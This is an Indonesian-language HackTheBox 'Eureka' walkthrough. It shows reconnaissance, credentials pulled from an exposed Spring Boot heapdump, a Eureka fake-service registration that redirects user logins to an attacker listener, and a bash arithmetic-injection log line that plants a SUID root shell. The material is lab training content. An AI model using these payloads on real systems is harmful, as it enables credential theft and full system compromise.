Halo semuanya! Pada artikel kali ini, saya akan membahas salah satu mesin dari HackTheBox yaitu Eureka. Mesin ini cukup menarik karena melibatkan Spring Boot application dengan Netflix Eureka service discovery, serta vulnerability dalam bash script yang memungkinkan privilege escalation. Mari kita mulai perjalanan penetration testing ini!
Tahap 1: Reconnaissance & Initial Scanning
Nmap Scanning
Seperti biasa, kita akan melakukan scanning pada IP target menggunakan nmap dengan opsi comprehensive:
└─# nmap -sSV 10.10.11.66 -T5 -A
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-16 02:24 EDT
Nmap scan report for 10.10.11.66
Host is up (0.028s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 d6:b2:10:42:32:35:4d:c9:ae:bd:3f:1f:58:65:ce:49 (RSA)
| 256 90:11:9d:67:b6:f6:64:d4:df:7f:ed:4a:90:2e:6d:7b (ECDSA)
|_ 256 94:37:d3:42:95:5d:ad:f7:79:73:a6:37:94:45:ad:47 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://furni.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 1025/tcp)
HOP RTT ADDRESS
1 53.18 ms 10.10.14.1
2 53.25 ms 10.10.11.66
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 35.76 seconds
Hasil Scanning:
- Port 22/tcp: SSH (OpenSSH 8.2p1 Ubuntu)
- Port 80/tcp: HTTP (nginx 1.18.0 Ubuntu)
- Redirect ke:
http://furni.htb/
DNS Configuration
Menambahkan domain ke /etc/hosts
agar bisa mengakses website:
└─# echo "10.10.11.66 furni.htb" >> /etc/hosts
Tahap 2: Web Application Assessment
Nuclei Scanning
Untuk scanning lebih mendalam dan mencari vulnerability, kita gunakan nuclei:
└─# nuclei -u http://furni.htb
__ _
____ __ _______/ /__ (_)
/ __ \/ / / / ___/ / _ \/ /
/ / / / /_/ / /__/ / __/ /
/_/ /_/\__,_/\___/_/\___/_/ v3.4.3
projectdiscovery.io
[INF] Current nuclei version: v3.4.3 (latest)
[INF] Current nuclei-templates version: v10.2.1 (latest)
[WRN] Scan results upload to cloud is disabled.
[INF] New templates added in latest release: 42
[INF] Templates loaded for current scan: 7924
[INF] Executing 7726 signed templates from projectdiscovery/nuclei-templates
[WRN] Loading 198 unsigned templates for scan. Use with caution.
[INF] Targets loaded for current scan: 1
[INF] Templates clustered: 1736 (Reduced 1632 Requests)
[INF] Using Interactsh Server: oast.pro
[missing-sri] [http] [info] http://furni.htb ["https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css"]
[waf-detect:nginxgeneric] [http] [info] http://furni.htb
[springboot-heapdump] [http] [critical] http://furni.htb/actuator/heapdump
[ssh-password-auth] [javascript] [info] furni.htb:22
[ssh-server-enumeration] [javascript] [info] furni.htb:22 ["SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.12"]
[ssh-sha1-hmac-algo] [javascript] [info] furni.htb:22
[ssh-auth-methods] [javascript] [info] furni.htb:22 ["["publickey","password"]"]
[openssh-detect] [tcp] [info] furni.htb:22 ["SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.12"]
[springboot-caches] [http] [low] http://furni.htb/actuator/caches
[fingerprinthub-web-fingerprints:openfire] [http] [info] http://furni.htb
[tech-detect:bootstrap] [http] [info] http://furni.htb
[tech-detect:nginx] [http] [info] http://furni.htb
[tech-detect:font-awesome] [http] [info] http://furni.htb
[springboot-features] [http] [low] http://furni.htb/actuator/features
[springboot-threaddump] [http] [low] http://furni.htb/actuator/threaddump
[http-missing-security-headers:x-permitted-cross-domain-policies] [http] [info] http://furni.htb
[http-missing-security-headers:referrer-policy] [http] [info] http://furni.htb
[http-missing-security-headers:cross-origin-embedder-policy] [http] [info] http://furni.htb
[http-missing-security-headers:cross-origin-opener-policy] [http] [info] http://furni.htb
[http-missing-security-headers:cross-origin-resource-policy] [http] [info] http://furni.htb
[http-missing-security-headers:content-security-policy] [http] [info] http://furni.htb
[http-missing-security-headers:clear-site-data] [http] [info] http://furni.htb
[http-missing-security-headers:strict-transport-security] [http] [info] http://furni.htb
[http-missing-security-headers:permissions-policy] [http] [info] http://furni.htb
Temuan Penting:
SpringBoot HeapDump: http://furni.htb/actuator/heapdump ⚠️ CRITICAL
SpringBoot Actuator endpoints lainnya:
/actuator/caches
/actuator/features
/actuator/threaddump
Missing security headers (multiple)
Technology stack: Bootstrap, Nginx, Font Awesome
Tahap 3: Sensitive Information Extraction
Download & Analyze HeapDump
HeapDump adalah salah satu endpoint Spring Actuator yang paling sensitif karena berisi memory dump dari aplikasi Java yang sedang berjalan.
wget http://furni.htb/actuator/heapdump
Analyzing HeapDump with JDumpSpider
Download JDumpSpider dari GitHub dan jalankan untuk mengekstrak informasi sensitif:
└─# java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump
===========================================
SpringDataSourceProperties
-------------
password = 0sc@r190_S........
driverClassName = com.mysql.cj.jdbc.Driver
url = jdbc:mysql://localhost:3306/Furni_WebApp_DB
username = oscar190
===========================================
WeblogicDataSourceConnectionPoolConfig
-------------
not found!
===========================================
MongoClient
-------------
not found!
===========================================
AliDruidDataSourceWrapper
-------------
not found!
===========================================
HikariDataSource
-------------
java.lang.NumberFormatException: Cannot parse null string
not found!
===========================================
RedisStandaloneConfiguration
-------------
not found!
===========================================
JedisClient
-------------
not found!
===========================================
CookieRememberMeManager(ShiroKey)
-------------
not found!
===========================================
OriginTrackedMapPropertySource
-------------
management.endpoints.web.exposure.include = *
spring.datasource.driver-class-name = com.mysql.cj.jdbc.Driver
spring.cloud.inetutils.ignoredInterfaces = enp0s.*
eureka.client.service-url.defaultZone = http://EurekaSrvr:0scarPWDisTheB3st@localhost:8761/eureka/
server.forward-headers-strategy = native
spring.datasource.url = jdbc:mysql://localhost:3306/Furni_WebApp_DB
spring.application.name = Furni
server.port = 8082
spring.jpa.properties.hibernate.format_sql = true
spring.session.store-type = jdbc
spring.jpa.hibernate.ddl-auto = none
===========================================
MutablePropertySources
-------------
spring.cloud.client.ip-address = 127.0.0.1
local.server.port = null
spring.cloud.client.hostname = eureka
===========================================
MapPropertySources
-------------
spring.cloud.client.ip-address = 127.0.0.1
spring.cloud.client.hostname = eureka
local.server.port = null
===========================================
ConsulPropertySources
-------------
not found!
===========================================
JavaProperties
-------------
not found!
===========================================
ProcessEnvironment
-------------
not found!
===========================================
OSS
-------------
org.jboss.logging.provider = slf4j
===========================================
UserPassSearcher
-------------
org.springframework.security.web.authentication.ui.DefaultLoginPageGeneratingFilter:
[oauth2LoginEnabled = false, passwordParameter = password, formLoginEnabled = true, usernameParameter = username, loginPageUrl = /login, authenticationUrl = /login, saml2LoginEnabled = false, failureUrl = /login?error]
[oauth2LoginEnabled = false, formLoginEnabled = false, saml2LoginEnabled = false]
org.springframework.security.web.authentication.UsernamePasswordAuthenticationFilter:
[passwordParameter = password, usernameParameter = username]
org.antlr.v4.runtime.atn.LexerATNConfig:
[passedThroughNonGreedyDecision = false]
org.antlr.v4.runtime.atn.ATNDeserializationOptions:
[generateRuleBypassTransitions = false]
org.hibernate.boot.internal.InFlightMetadataCollectorImpl:
[inSecondPass = false]
com.mysql.cj.protocol.a.authentication.AuthenticationLdapSaslClientPlugin:
[firstPass = true]
com.mysql.cj.protocol.a.authentication.CachingSha2PasswordPlugin:
[publicKeyRequested = false]
com.mysql.cj.protocol.a.authentication.Sha256PasswordPlugin:
[publicKeyRequested = false]
com.mysql.cj.NativeCharsetSettings:
[platformDbCharsetMatches = true]
com.mysql.cj.protocol.a.NativeAuthenticationProvider:
[database = Furni_WebApp_DB, useConnectWithDb = true, serverDefaultAuthenticationPluginName = mysql_native_password, username = oscar190]
com.mysql.cj.jdbc.ConnectionImpl:
[password = 0sc@r190_S0l!dP@sswd, database = Furni_WebApp_DB, origHostToConnectTo = localhost, user = oscar190]
com.mysql.cj.conf.HostInfo:
[password = 0sc@r190_S0l!dP@sswd, host = localhost, user = oscar190]
com.zaxxer.hikari.pool.HikariPool:
[aliveBypassWindowMs = 500, isUseJdbc4Validation = true]
org.springframework.cloud.netflix.eureka.EurekaClientConfigBean:
[eurekaServerConnectTimeoutSeconds = 5, useDnsForFetchingServiceUrls = false, eurekaServerReadTimeoutSeconds = 8, eurekaServerTotalConnections = 200, eurekaServiceUrlPollIntervalSeconds = 300, eurekaServerTotalConnectionsPerHost = 50]
org.springframework.boot.autoconfigure.security.SecurityProperties$User:
[password = 4312eecb-54e8-46b9-a645-5b9df3ea21d8, passwordGenerated = true]
org.springframework.boot.autoconfigure.jdbc.DataSourceProperties:
[password = 0sc@r190_S0l!dP@sswd, driverClassName = com.mysql.cj.jdbc.Driver, url = jdbc:mysql://localhost:3306/Furni_WebApp_DB, username = oscar190]
org.springframework.security.authentication.dao.DaoAuthenticationProvider:
[hideUserNotFoundExceptions = true]
com.zaxxer.hikari.HikariDataSource:
[keepaliveTime = 0, password = 0sc@r190_S0l!dP@sswd, jdbcUrl = jdbc:mysql://localhost:3306/Furni_WebApp_DB, driverClassName = com.mysql.cj.jdbc.Driver, username = oscar190]
org.apache.catalina.startup.Tomcat:
[hostname = localhost]
===========================================
CookieThief
-------------
not found!
===========================================
AuthThief
-------------
java.util.LinkedHashMap$Entry:
org.springframework.security.config.annotation.authentication.configuration.InitializeUserDetailsBeanManagerConfigurer$InitializeUserDetailsManagerConfigurer = o.s.s.c.a.a.c.InitializeUserDetailsBeanManagerConfigurer$InitializeUserDetailsManagerConfigurer
org.springframework.security.config.annotation.authentication.configuration.InitializeAuthenticationProviderBeanManagerConfigurer$InitializeAuthenticationProviderManagerConfigurer = o.s.s.c.a.a.c.InitializeAuthenticationProviderBeanManagerConfigurer$InitializeAuthenticationProviderManagerConfigurer
===========================================
Informasi Sensitif yang Ditemukan:
Database Credentials
Username: oscar190
Password: 0sc@r190_........
Database: jdbc:mysql://localhost:3306/Furni_WebApp_DB
Driver: com.mysql.cj.jdbc.Driver
Eureka Server Information
Full URL: http://EurekaSrvr:0scarPW....@localhost:8761/eureka/
Username: EurekaSrvr
Password: 0scarPWD.......
Port: 8761


Tahap 4: Initial Access
SSH Login dengan Kredensial oscar190
Menggunakan kredensial database untuk login SSH:
ssh oscar190@10.10.11.66
# Password: 0sc@r190_........
User Information:
oscar190@eureka:~$ id
uid=1000(oscar190) gid=1001(oscar190) groups=1001(oscar190)
oscar190@eureka:~$ whoami
oscar190
Explore Home Directory
oscar190@eureka:~$ ls -al
total 32
drwxr-x--- 5 oscar190 oscar190 4096 Apr 1 12:57 .
drwxr-xr-x 4 root root 4096 Aug 9 2024 ..
lrwxrwxrwx 1 oscar190 oscar190 9 Aug 7 2024 .bash_history -> /dev/null
-rw-r--r-- 1 oscar190 oscar190 220 Aug 1 2024 .bash_logout
-rw-r--r-- 1 oscar190 oscar190 3771 Apr 1 12:57 .bashrc
drwx------ 2 oscar190 oscar190 4096 Aug 1 2024 .cache
drwx------ 3 oscar190 oscar190 4096 Aug 1 2024 .config
drwxrwxr-x 3 oscar190 oscar190 4096 Aug 1 2024 .local
lrwxrwxrwx 1 oscar190 oscar190 9 Aug 7 2024 .mysql_history -> /dev/null
-rw-r--r-- 1 oscar190 oscar190 807 Aug 1 2024 .profile
Port Scanning Internal
Memeriksa port yang sedang listening di sistem:
oscar190@eureka:~$ ss -tuln
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
udp UNCONN 0 0 127.0.0.53%lo:53 0.0.0.0:*
udp UNCONN 0 0 *:59176 *:*
udp UNCONN 0 0 *:59815 *:*
udp UNCONN 0 0 *:49707 *:*
udp UNCONN 0 0 *:47773 *:*
tcp LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 80 127.0.0.1:3306 0.0.0.0:*
tcp LISTEN 0 4096 [::ffff:127.0.0.1]:8080 *:*
tcp LISTEN 0 511 [::]:80 [::]:*
tcp LISTEN 0 100 [::ffff:127.0.0.1]:8081 *:*
tcp LISTEN 0 100 [::ffff:127.0.0.1]:8082 *:*
tcp LISTEN 0 128 [::]:22 [::]:*
tcp LISTEN 0 100 *:8761 *:*
Port Internal yang Ditemukan:
8761
– Eureka Server (OPEN ke public)8080
– APP-GATEWAY8081
– USER-MANAGEMENT-SERVICE8082
– FURNI Service3306
– MySQL Database
Verify Eureka Credentials
Mari kita cari informasi lebih lanjut tentang Eureka server dari heapdump:
└─# strings heapdump | grep 8761 -n
227464:P`http://localhost:8761/eureka/
344576:http://EurekaSrvr:0scarPWDisTheB3st@localhost:8761/eureka/!
366651:http://localhost:8761/eureka/!
442796:http://localhost:8761/eureka/!
450355:Host: localhost:8761
450870:http://localhost:8761/eureka/!
451153:Host: localhost:8761
Kita bisa melihat credentials Eureka ada di beberapa lokasi dalam memory dump.
Tahap 5: Eureka Service Discovery Exploitation
Port Forwarding
Forward port 8761 untuk mengakses Eureka dashboard dari local machine:
ssh -L 8761:localhost:8761 oscar190@10.10.11.66
Accessing Eureka Dashboard
Dengan membuka browser ke http://localhost:8761
, kita dapat melihat dashboard Eureka yang memerlukan authentication:
- Username:
EurekaSrvr
- Password:
0scarPW......
Enumerating Registered Services
Setelah login, kita dapat mengakses http://localhost:8761/eureka/apps
untuk melihat semua registered services:
<applications>
<versions__delta>1</versions__delta>
<apps__hashcode>UP_3_</apps__hashcode>
<application>
<name>APP-GATEWAY</name>
<instance>
<instanceId>localhost:app-gateway:8080</instanceId>
<hostName>localhost</hostName>
<app>APP-GATEWAY</app>
<ipAddr>10.10.11.66</ipAddr>
<status>UP</status>
<overriddenstatus>UNKNOWN</overriddenstatus>
<port enabled="true">8080</port>
<securePort enabled="false">443</securePort>
<countryId>1</countryId>
<dataCenterInfo class="com.netflix.appinfo.InstanceInfo$DefaultDataCenterInfo">
<name>MyOwn</name>
</dataCenterInfo>
<leaseInfo>
<renewalIntervalInSecs>30</renewalIntervalInSecs>
<durationInSecs>90</durationInSecs>
<registrationTimestamp>1747338138206</registrationTimestamp>
<lastRenewalTimestamp>1747380055265</lastRenewalTimestamp>
<evictionTimestamp>0</evictionTimestamp>
<serviceUpTimestamp>1747338138210</serviceUpTimestamp>
</leaseInfo>
<metadata>
<management.port>8080</management.port>
</metadata>
<homePageUrl>http://localhost:8080/</homePageUrl>
<statusPageUrl>http://localhost:8080/actuator/info</statusPageUrl>
<healthCheckUrl>http://localhost:8080/actuator/health</healthCheckUrl>
<vipAddress>app-gateway</vipAddress>
<secureVipAddress>app-gateway</secureVipAddress>
<isCoordinatingDiscoveryServer>false</isCoordinatingDiscoveryServer>
<lastUpdatedTimestamp>1747338138211</lastUpdatedTimestamp>
<lastDirtyTimestamp>1747338134718</lastDirtyTimestamp>
<actionType>ADDED</actionType>
</instance>
</application>
<application>
<name>USER-MANAGEMENT-SERVICE</name>
<instance>
<instanceId>localhost:USER-MANAGEMENT-SERVICE:8081</instanceId>
<hostName>localhost</hostName>
<app>USER-MANAGEMENT-SERVICE</app>
<ipAddr>10.10.11.66</ipAddr>
<status>UP</status>
<overriddenstatus>UNKNOWN</overriddenstatus>
<port enabled="true">8081</port>
<securePort enabled="false">443</securePort>
<countryId>1</countryId>
<dataCenterInfo class="com.netflix.appinfo.InstanceInfo$DefaultDataCenterInfo">
<name>MyOwn</name>
</dataCenterInfo>
<leaseInfo>
<renewalIntervalInSecs>30</renewalIntervalInSecs>
<durationInSecs>90</durationInSecs>
<registrationTimestamp>1747338148006</registrationTimestamp>
<lastRenewalTimestamp>1747380064690</lastRenewalTimestamp>
<evictionTimestamp>0</evictionTimestamp>
<serviceUpTimestamp>1747338148006</serviceUpTimestamp>
</leaseInfo>
<metadata>
<management.port>8081</management.port>
</metadata>
<homePageUrl>http://localhost:8081/</homePageUrl>
<statusPageUrl>http://localhost:8081/actuator/info</statusPageUrl>
<healthCheckUrl>http://localhost:8081/actuator/health</healthCheckUrl>
<vipAddress>USER-MANAGEMENT-SERVICE</vipAddress>
<secureVipAddress>USER-MANAGEMENT-SERVICE</secureVipAddress>
<isCoordinatingDiscoveryServer>false</isCoordinatingDiscoveryServer>
<lastUpdatedTimestamp>1747338148006</lastUpdatedTimestamp>
<lastDirtyTimestamp>1747338146607</lastDirtyTimestamp>
<actionType>ADDED</actionType>
</instance>
</application>
<application>
<name>FURNI</name>
<instance>
<instanceId>localhost:Furni:8082</instanceId>
<hostName>localhost</hostName>
<app>FURNI</app>
<ipAddr>10.10.11.66</ipAddr>
<status>UP</status>
<overriddenstatus>UNKNOWN</overriddenstatus>
<port enabled="true">8082</port>
<securePort enabled="false">443</securePort>
<countryId>1</countryId>
<dataCenterInfo class="com.netflix.appinfo.InstanceInfo$DefaultDataCenterInfo">
<name>MyOwn</name>
</dataCenterInfo>
<leaseInfo>
<renewalIntervalInSecs>30</renewalIntervalInSecs>
<durationInSecs>90</durationInSecs>
<registrationTimestamp>1747338157282</registrationTimestamp>
<lastRenewalTimestamp>1747380051115</lastRenewalTimestamp>
<evictionTimestamp>0</evictionTimestamp>
<serviceUpTimestamp>1747338157282</serviceUpTimestamp>
</leaseInfo>
<metadata>
<management.port>8082</management.port>
</metadata>
<homePageUrl>http://localhost:8082/</homePageUrl>
<statusPageUrl>http://localhost:8082/actuator/info</statusPageUrl>
<healthCheckUrl>http://localhost:8082/actuator/health</healthCheckUrl>
<vipAddress>Furni</vipAddress>
<secureVipAddress>Furni</secureVipAddress>
<isCoordinatingDiscoveryServer>false</isCoordinatingDiscoveryServer>
<lastUpdatedTimestamp>1747338157282</lastUpdatedTimestamp>
<lastDirtyTimestamp>1747338157127</lastDirtyTimestamp>
<actionType>ADDED</actionType>
</instance>
</application>
</applications>
Services yang terdaftar:
- APP-GATEWAY (Port 8080)
- USER-MANAGEMENT-SERVICE (Port 8081)
- FURNI (Port 8082)
Service Hijacking Attack
Konsep serangan ini adalah mendaftarkan fake service dengan nama yang sama di Eureka, sehingga traffic akan di-route ke IP kita. Berdasarkan referensi Hacking Netflix Eureka, kita bisa melakukan service hijacking.
Setup Listener
Pertama, setup listener pada port 8081 di mesin attacker:
nc -lvnp 8081
Register Fake Service
curl -X POST http://EurekaSrvr:0scarPWDisTheB3st@localhost:8761/eureka/apps/USER-MANAGEMENT-SERVICE \
-H 'Content-Type: application/json' \
-d '{
"instance": {
"instanceId": "USER-MANAGEMENT-SERVICE",
"hostName": "10.10.14.XXX",
"app": "USER-MANAGEMENT-SERVICE",
"ipAddr": "10.10.14.XXX",
"vipAddress": "USER-MANAGEMENT-SERVICE",
"secureVipAddress": "USER-MANAGEMENT-SERVICE",
"status": "UP",
"port": {
"$": 8081,
"@enabled": "true"
},
"dataCenterInfo": {
"@class": "com.netflix.appinfo.InstanceInfo$DefaultDataCenterInfo",
"name": "MyOwn"
}
}
}'
Catatan: Ganti 10.10.14.XXX
dengan IP attacker machine Anda.
Credential Interception
Setelah mendaftarkan fake service, ketika pengguna mencoba login melalui gateway, traffic akan diarahkan ke server kita dan kita bisa menangkap credentials.
Kredensial yang berhasil ditangkap:
username=miranda.wise%40furni.htb&password=IL%21veT0BeRich%21123&_csrf=s0919JB_yc9-10PPrDWFranrfB0lKpnkPrcW4i6rgNDPpJrk1ypFwPRG_fpTsSb2mRixz5vdUSVAS6jJDI9z0xyetuX2wvnc
Decoded credentials:
- Username:
miranda.wise@furni.htb
- Password:
IL!veT0B......
Tahap 6: User Access & Privilege Escalation
SSH Login sebagai miranda-wise
ssh miranda-wise@10.10.11.66
# Password: IL!veT0........
miranda-wise@eureka:~$ whoami
miranda-wise
miranda-wise@eureka:~$ id
uid=1001(miranda-wise) gid=1002(miranda-wise) groups=1002(miranda-wise),1003(developers)
User Flag
miranda-wise@eureka:~$ cat user.txt
0c7b35c3185e0.........
Enumeration sebagai miranda-wise
Mari kita explore sistem lebih lanjut untuk mencari path privilege escalation:
miranda-wise@eureka:/opt$ ls -la
total 24
drwxr-xr-x 4 root root 4096 Mar 20 14:17 .
drwxr-xr-x 19 root root 4096 Apr 22 12:47 ..
drwxrwx--- 2 root www-data 4096 Aug 7 2024 heapdump
-rwxrwxr-x 1 root root 4980 Mar 20 14:17 log_analyse.sh
drwxr-x--- 2 root root 4096 Apr 9 18:34 scripts
miranda-wise@eureka:/opt$ cat log_analyse.sh
#!/bin/bash
# Colors
GREEN='\033[0;32m'
RED='\033[0;31m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
CYAN='\033[0;36m'
RESET='\033[0m'
LOG_FILE="$1"
OUTPUT_FILE="log_analysis.txt"
declare -A successful_users # Associative array: username -> count
declare -A failed_users # Associative array: username -> count
STATUS_CODES=("200:0" "201:0" "302:0" "400:0" "401:0" "403:0" "404:0" "500:0") # Indexed array: "code:count" pairs
if [ ! -f "$LOG_FILE" ]; then
echo -e "${RED}Error: Log file $LOG_FILE not found.${RESET}"
exit 1
fi
analyze_logins() {
# Process successful logins
while IFS= read -r line; do
username=$(echo "$line" | awk -F"'" '{print $2}')
if [ -n "${successful_users[$username]+_}" ]; then
successful_users[$username]=$((successful_users[$username] + 1))
else
successful_users[$username]=1
fi
done < <(grep "LoginSuccessLogger" "$LOG_FILE")
# Process failed logins
while IFS= read -r line; do
username=$(echo "$line" | awk -F"'" '{print $2}')
if [ -n "${failed_users[$username]+_}" ]; then
failed_users[$username]=$((failed_users[$username] + 1))
else
failed_users[$username]=1
fi
done < <(grep "LoginFailureLogger" "$LOG_FILE")
}
analyze_http_statuses() {
# Process HTTP status codes
while IFS= read -r line; do
code=$(echo "$line" | grep -oP 'Status: \K.*')
found=0
# Check if code exists in STATUS_CODES array
for i in "${!STATUS_CODES[@]}"; do
existing_entry="${STATUS_CODES[$i]}"
existing_code=$(echo "$existing_entry" | cut -d':' -f1)
existing_count=$(echo "$existing_entry" | cut -d':' -f2)
if [[ "$existing_code" -eq "$code" ]]; then
new_count=$((existing_count + 1))
STATUS_CODES[$i]="${existing_code}:${new_count}"
break
fi
done
done < <(grep "HTTP.*Status: " "$LOG_FILE")
}
analyze_log_errors(){
# Log Level Counts (colored)
echo -e "\n${YELLOW}[+] Log Level Counts:${RESET}"
log_levels=$(grep -oP '(?<=Z )\w+' "$LOG_FILE" | sort | uniq -c)
echo "$log_levels" | awk -v blue="$BLUE" -v yellow="$YELLOW" -v red="$RED" -v reset="$RESET" '{
if ($2 == "INFO") color=blue;
else if ($2 == "WARN") color=yellow;
else if ($2 == "ERROR") color=red;
else color=reset;
printf "%s%6s %s%s\n", color, $1, $2, reset
}'
# ERROR Messages
error_messages=$(grep ' ERROR ' "$LOG_FILE" | awk -F' ERROR ' '{print $2}')
echo -e "\n${RED}[+] ERROR Messages:${RESET}"
echo "$error_messages" | awk -v red="$RED" -v reset="$RESET" '{print red $0 reset}'
# Eureka Errors
eureka_errors=$(grep 'Connect to http://localhost:8761.*failed: Connection refused' "$LOG_FILE")
eureka_count=$(echo "$eureka_errors" | wc -l)
echo -e "\n${YELLOW}[+] Eureka Connection Failures:${RESET}"
echo -e "${YELLOW}Count: $eureka_count${RESET}"
echo "$eureka_errors" | tail -n 2 | awk -v yellow="$YELLOW" -v reset="$RESET" '{print yellow $0 reset}'
}
display_results() {
echo -e "${BLUE}----- Log Analysis Report -----${RESET}"
# Successful logins
echo -e "\n${GREEN}[+] Successful Login Counts:${RESET}"
total_success=0
for user in "${!successful_users[@]}"; do
count=${successful_users[$user]}
printf "${GREEN}%6s %s${RESET}\n" "$count" "$user"
total_success=$((total_success + count))
done
echo -e "${GREEN}\nTotal Successful Logins: $total_success${RESET}"
# Failed logins
echo -e "\n${RED}[+] Failed Login Attempts:${RESET}"
total_failed=0
for user in "${!failed_users[@]}"; do
count=${failed_users[$user]}
printf "${RED}%6s %s${RESET}\n" "$count" "$user"
total_failed=$((total_failed + count))
done
echo -e "${RED}\nTotal Failed Login Attempts: $total_failed${RESET}"
# HTTP status codes
echo -e "\n${CYAN}[+] HTTP Status Code Distribution:${RESET}"
total_requests=0
# Sort codes numerically
IFS=$'\n' sorted=($(sort -n -t':' -k1 <<<"${STATUS_CODES[*]}"))
unset IFS
for entry in "${sorted[@]}"; do
code=$(echo "$entry" | cut -d':' -f1)
count=$(echo "$entry" | cut -d':' -f2)
total_requests=$((total_requests + count))
# Color coding
if [[ $code =~ ^2 ]]; then color="$GREEN"
elif [[ $code =~ ^3 ]]; then color="$YELLOW"
elif [[ $code =~ ^4 || $code =~ ^5 ]]; then color="$RED"
else color="$CYAN"
fi
printf "${color}%6s %s${RESET}\n" "$count" "$code"
done
echo -e "${CYAN}\nTotal HTTP Requests Tracked: $total_requests${RESET}"
}
# Main execution
analyze_logins
analyze_http_statuses
display_results | tee "$OUTPUT_FILE"
analyze_log_errors | tee -a "$OUTPUT_FILE"
echo -e "\n${GREEN}Analysis completed. Results saved to $OUTPUT_FILE${RESET}"
disini bisa kita lihat, bahwa poinnya ada di [[ “$existing_code” -eq “$code” ]] ini adalah aritmetic comparison. $code digabungkan pada bracket $(…), disini bisa dilihat bahwa bash akan dieksekusi pertama.
analyze_log_errors(){
# Log Level Counts (colored)
echo -e "\n${YELLOW}[+] Log Level Counts:${RESET}"
log_levels=$(grep -oP '(?<=Z )\w+' "$LOG_FILE" | sort | uniq -c)
echo "$log_levels" | awk -v blue="$BLUE" -v yellow="$YELLOW" -v red="$RED" -v reset="$RESET" '{
if ($2 == "INFO") color=blue;
else if ($2 == "WARN") color=yellow;
else if ($2 == "ERROR") color=red;
else color=reset;
printf "%s%6s %s%s\n", color, $1, $2, reset
}'
# ERROR Messages
error_messages=$(grep ' ERROR ' "$LOG_FILE" | awk -F' ERROR ' '{print $2}')
echo -e "\n${RED}[+] ERROR Messages:${RESET}"
echo "$error_messages" | awk -v red="$RED" -v reset="$RESET" '{print red $0 reset}'
# Eureka Errors
eureka_errors=$(grep 'Connect to http://localhost:8761.*failed: Connection refused' "$LOG_FILE")
eureka_count=$(echo "$eureka_errors" | wc -l)
echo -e "\n${YELLOW}[+] Eureka Connection Failures:${RESET}"
echo -e "${YELLOW}Count: $eureka_count${RESET}"
echo "$eureka_errors" | tail -n 2 | awk -v yellow="$YELLOW" -v reset="$RESET" '{print yellow $0 reset}'
}
di code ini untuk melakukan monitoring dan dobug koneksi eureka. Direktori sekarang adalah owner, dan application.log overwritten
miranda-wise@eureka:/var/www/web/cloud-gateway/log$ ls -la
total 36
drwxrwxr-x 2 www-data developers 4096 May 16 00:00 .
drwxrwxr-x 6 www-data developers 4096 Mar 18 21:17 ..
-rw-rw-r-- 1 www-data www-data 22339 May 16 07:57 application.log
-rw-rw-r-- 1 www-data www-data 2801 May 16 00:00 application.log.2025-05-15.0.gz
miranda-wise@eureka:/var/www/web/cloud-gateway/log$ id
uid=1001(miranda-wise) gid=1002(miranda-wise) groups=1002(miranda-wise),1003(developers)
disini kita akan hapus .log file yang lama dan add yang baru, dengan command privilege escalation, dan kita akan dapatkan root flagnya
miranda-wise@eureka:/var/www/web/cloud-gateway/log$ rm application.log
rm: remove write-protected regular file 'application.log'? y
miranda-wise@eureka:/var/www/web/cloud-gateway/log$ echo 'HTTP Status: x[$(cp /bin/bash /tmp/bash;chmod u+s /tmp/bash)]' >> application.log
disini kita lihat pada folder /tmp dan kita berhasil dapatkan root flagnya
miranda-wise@eureka:/var/www/web/cloud-gateway/log$ cd /tmp
miranda-wise@eureka:/tmp$ ls
bash tomcat.8081.16279774600350580736
hsperfdata_www-data tomcat.8082.16909205653749748186
snap-private-tmp tomcat.8761.15036367350857598711
systemd-private-18ffe618a6124acf9ef0c689a9c739a6-ModemManager.service-c7V7vf tomcat-docbase.8081.16612444294384963952
systemd-private-18ffe618a6124acf9ef0c689a9c739a6-systemd-logind.service-cMJ4wi tomcat-docbase.8082.13025005033399785421
systemd-private-18ffe618a6124acf9ef0c689a9c739a6-systemd-resolved.service-0g5teh tomcat-docbase.8761.12963806758098986412
systemd-private-18ffe618a6124acf9ef0c689a9c739a6-systemd-timesyncd.service-6KAorh vmware-root_781-4290101162
systemd-private-18ffe618a6124acf9ef0c689a9c739a6-upower.service-B9M75i
miranda-wise@eureka:/tmp$ ./bash -p
bash-5.0# id
uid=1001(miranda-wise) gid=1002(miranda-wise) euid=0(root) groups=1002(miranda-wise),1003(developers)
bash-5.0# whoami
root
bash-5.0# cat /root/root.txt
5057e41df764a765.........